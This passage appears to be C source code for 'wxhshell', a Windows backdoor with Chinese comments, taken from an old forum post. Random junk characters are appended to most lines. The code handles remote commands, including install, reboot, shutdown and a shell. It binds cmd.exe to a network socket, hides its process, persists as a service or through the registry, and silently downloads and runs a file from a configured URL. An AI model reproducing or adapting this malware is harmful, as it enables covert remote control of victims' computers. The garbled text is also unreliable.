  -Z\UYt  
  // 帮助 >.k@!*  
  case '?': { Qh1Kl_a?Lv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eog,EP"a8Y  
    break; I5|S8d<  
  } BT*K,p  
  // 安装 'nmYB:&!  
  case 'i': { *}Ae9  
    if(Install()) +Fy- ~Mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]i_):@  
    else <R]Wy}2-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $F /p8AraK  
    break; Y GcY2p<  
    } ^*owD;]4_  
  // 卸载 JzS^9) &  
  case 'r': { EC\rh](d 1  
    if(Uninstall()) v#AO\zYKd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T_;G))q'  
    else DrVbx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F4aJr%!\6S  
    break; Zj /H3,7  
    } y(p:)Iv  
  // 显示 wxhshell 所在路径 "b+3 &i|  
  case 'p': { ud~VQXZo  
    char svExeFile[MAX_PATH]; BYA=M*f  
    strcpy(svExeFile,"\n\r"); ;R- z3C  
      strcat(svExeFile,ExeFile); A~~| X  
        send(wsh,svExeFile,strlen(svExeFile),0); brhJ&|QDE  
    break; HWao3Lz  
    } 5kL#V  
  // 重启 `A}{ I}xq  
  case 'b': { eJwii  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :XZJxgx  
    if(Boot(REBOOT)) KG./<"c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?eg@ 7n  
    else { (}7o a9Q<  
    closesocket(wsh); N[?4yV2s  
    ExitThread(0); B )3SiU  
    } X|QX1dl  
    break; w|U@jr*H]  
    } TJGKQyG$L  
  // 关机 tX2>a  
  case 'd': { W3{5Do.h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oR%E_g?mI~  
    if(Boot(SHUTDOWN)) )F9%^a(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mrB hvp""  
    else { [4 (A458H  
    closesocket(wsh); _ER cmP  
    ExitThread(0); 0aq-drl5\  
    } `S!uj <-  
    break;  OG<]`!"  
    } ysP/@;jC  
  // 获取shell }X.8.S'  
  case 's': {  3kzGL  
    CmdShell(wsh); l#(g&x6J  
    closesocket(wsh); ~'YSVx& )  
    ExitThread(0); I7-PF?  
    break; w `9GygS  
  } t6U+a\-<  
  // 退出 (Gb{ckzs  
  case 'x': { XajY'+DIsz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jv$2wH  
    CloseIt(wsh); Sv]"Y/N  
    break; Z( clw  
    } N`mC_)  
  // 离开 =P+wp{?AN|  
  case 'q': { cH8H)55F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0eu$ oel-  
    closesocket(wsh); V:$ 1o  
    WSACleanup(); -wHGi  
    exit(1); t"@|;uPAu  
    break; uZ{xt6 f  
        } @RG3*3(  
  } 9~ .BH;ku  
  } Ra,on&OP`*  
O8}s*}]  
  // 提示信息 ="PywZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lm2cW$s  
} 3n"&$q6  
  } j1C0LP8  
g&20F`.N*>  
  return; ~#xs `@{s  
} ^K@ GK  
R5YtCw]i=  
// shell模块句柄 Q0cf]  
int CmdShell(SOCKET sock) ^|axtVhMO  
{ X=RmCc$:  
STARTUPINFO si; 78}%{7YY  
ZeroMemory(&si,sizeof(si)); *h8XbBZH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ToCfLJ?{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YH6 K-}  
PROCESS_INFORMATION ProcessInfo; m3ZOq B-  
char cmdline[]="cmd"; 91'^--N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zCN;LpbEJY  
  return 0; NomK(%8m$  
} ,wy:RVv@e  
2Uw}'J_N  
// 自身启动模式 { l~T~3/i  
int StartFromService(void) bJu,R-f  
{ TuPxyB  
typedef struct u(Q(UuI  
{ _!T$|,a  
  DWORD ExitStatus; p5 PON0dS  
  DWORD PebBaseAddress; Z-=7QK.\{  
  DWORD AffinityMask; 7VD7di=D  
  DWORD BasePriority; +.Ukzu~s  
  ULONG UniqueProcessId; P>cJ~F M  
  ULONG InheritedFromUniqueProcessId; R}YryzV5  
}   PROCESS_BASIC_INFORMATION; m=b+V#4i(  
8IcQpn#  
PROCNTQSIP NtQueryInformationProcess; e5y`CXX  
1;sAt;/W8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _ 25]>D$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6#-; ,2i  
S`PSFetC  
  HANDLE             hProcess; CHSD 8D  
  PROCESS_BASIC_INFORMATION pbi; y")>"8H  
-&^(T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pg}G4L?H;J  
  if(NULL == hInst ) return 0; $B N+SD!  
Kct +QO(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sm <kb@g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  o=5uM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w6Ny>(T/  
0L-g'^nn  
  if (!NtQueryInformationProcess) return 0; :Gk~FRA|  
|iThgq_\z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f\_Q+!^  
  if(!hProcess) return 0; y(g Otg  
-Q8`p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ))zaL2UP.  
745PCC'FK  
  CloseHandle(hProcess); lY,1 w  
~DS9{Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;qQzF  
if(hProcess==NULL) return 0;  D -EM  
f)fw87UPc  
HMODULE hMod; eesLTy D2_  
char procName[255]; yr DYw T  
unsigned long cbNeeded; 6 6;O3g'  
R9HS%O6b6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Ue Tp,  
? =Qg  
  CloseHandle(hProcess); clV/i&]Qa  
%Q01EjRes  
if(strstr(procName,"services")) return 1; // 以服务启动 4IpFT;`q  
,)m-nZ5  
  return 0; // 注册表启动 vUExS Z^  
} O\{_)L  
zL}DLfy>R  
// 主模块 uU"s50m  
int StartWxhshell(LPSTR lpCmdLine) 6!m#_z8qG3  
{ f2XD^:Gc  
  SOCKET wsl; e;\c=J,eE  
BOOL val=TRUE; Wx`IEPsVbk  
  int port=0; S'fq/`2g6  
  struct sockaddr_in door; ?Cl"jcQ*  
D~);:}}>  
  if(wscfg.ws_autoins) Install(); "Vy\- ^  
P_%l}%   
port=atoi(lpCmdLine); ~Dh}E9E:  
uQ)]g  
if(port<=0) port=wscfg.ws_port; jl7-"V>j?;  
bsDUFXH]  
  WSADATA data; J?DyTs3 Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )8PL7P84  
S}yb~uc,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VUhu"h@w%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2sq<"TlQXI  
  door.sin_family = AF_INET; C*zdHzMj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s_Gp +-  
  door.sin_port = htons(port); 6YbSzx` ?k  
cV,URUD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `_kRvpi  
closesocket(wsl); 5T*7HC[  
return 1; ,]' !2?  
} 3j#F'M)s{  
*2hzReM  
  if(listen(wsl,2) == INVALID_SOCKET) { Cl=ExpX/O  
closesocket(wsl); \|s/_35(  
return 1; :a`m9s 4  
} HRh".!lxy  
  Wxhshell(wsl); o$;x[US  
  WSACleanup(); B 8,{jwB  
4,8 =[  
return 0; \`&fr+x  
A 2 )%+  
} ~d]7 Cl  
^|z>NV5>  
// 以NT服务方式启动 Ac%K+Pgk.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1Zzw|@#>o  
{ X[}%iEWzT  
DWORD   status = 0; ponvi42u  
  DWORD   specificError = 0xfffffff; dDn:^)  
4G2V{(@QiZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \v_( *  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A5\S0l$Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; igCtq!.a  
  serviceStatus.dwWin32ExitCode     = 0; L"0L_G  
  serviceStatus.dwServiceSpecificExitCode = 0; Fh;(1X75I  
  serviceStatus.dwCheckPoint       = 0; '-_PO|}  
  serviceStatus.dwWaitHint       = 0; ,y @3'~  
eA_4,"{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R8)"M(u=l  
  if (hServiceStatusHandle==0) return; ,\IZ/1  
(Nf.a4O  
status = GetLastError(); it@s(1EO#  
  if (status!=NO_ERROR) &,xM;8b  
{ 7v_e"[s~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; A>k;o0r  
    serviceStatus.dwCheckPoint       = 0; 1lM0pl6M  
    serviceStatus.dwWaitHint       = 0; Zx{'S3W  
    serviceStatus.dwWin32ExitCode     = status; z~al h?H  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bc@e;k@i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R _%pR_\  
    return; OX2\H  
  } 3& $E  
J(]nPwm=.-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f]ef 1#  
  serviceStatus.dwCheckPoint       = 0; 6fiJ' j@  
  serviceStatus.dwWaitHint       = 0; cE[lB08  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6=k^gH[g  
} #</yX5!V  
xUUp ?]9y  
// 处理NT服务事件,比如:启动、停止 Z:{Z&HQC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z^'; xn  
{  AHb   
switch(fdwControl) K.SHY!U}  
{ [%pZM.jFO  
case SERVICE_CONTROL_STOP: `N0E;=g  
  serviceStatus.dwWin32ExitCode = 0; ~cz t=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DDEn63{  
  serviceStatus.dwCheckPoint   = 0; Syb:i(Y  
  serviceStatus.dwWaitHint     = 0; iGIaZ!j aW  
  { {iRNnh   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Q( 8FF  
  } pWqahrWh  
  return; SzDi= lY  
case SERVICE_CONTROL_PAUSE: *SZ<ori  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J.*=7zmw  
  break; w~`P\i@  
case SERVICE_CONTROL_CONTINUE: N Jf''e3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7pNh|#Uv'  
  break; h7{W-AtM7_  
case SERVICE_CONTROL_INTERROGATE: G[mYx[BTz  
  break; -Y6JU  
}; ,yoT3_%P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1,E/So   
} x8^Dhpr6  
:c>,=FUT  
// 标准应用程序主函数 Gu-Sv!4p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *,(`%b[  
{ NNT9\JRv_  
C^a~)r.h  
// 获取操作系统版本 MB)xL-jO  
OsIsNt=GetOsVer(); 2WoB;=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '"&?u8u)  
R *U>T$  
  // 从命令行安装 RK,~mXA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z7Kc`9.0|  
5R4 dN=L*1  
  // 下载执行文件 9M6&+1XE  
if(wscfg.ws_downexe) { 8447hb?W$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @RC_Ie=#)  
  WinExec(wscfg.ws_filenam,SW_HIDE); A U](pXK;  
} LakP'P6`E  
? DPL7  
if(!OsIsNt) { O;w';}At  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^6=nL<L  
HideProc(); >\e11OU0Gy  
StartWxhshell(lpCmdLine); nm)F tX|A  
} <K43f#%  
else Bn.8wMB  
  if(StartFromService()) /1Eg6hf9B  
  // 以服务方式启动 8WvT0q>]  
  StartServiceCtrlDispatcher(DispatchTable); @!S5FOXipZ  
else ~Oq(JM $M  
  // 普通方式启动 '&`Zy pq  
  StartWxhshell(lpCmdLine); K \O,AE  
qnOAIP:0  
return 0; uJ[dO}  
}
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只看该作者 1 发表于: 2006-10-10
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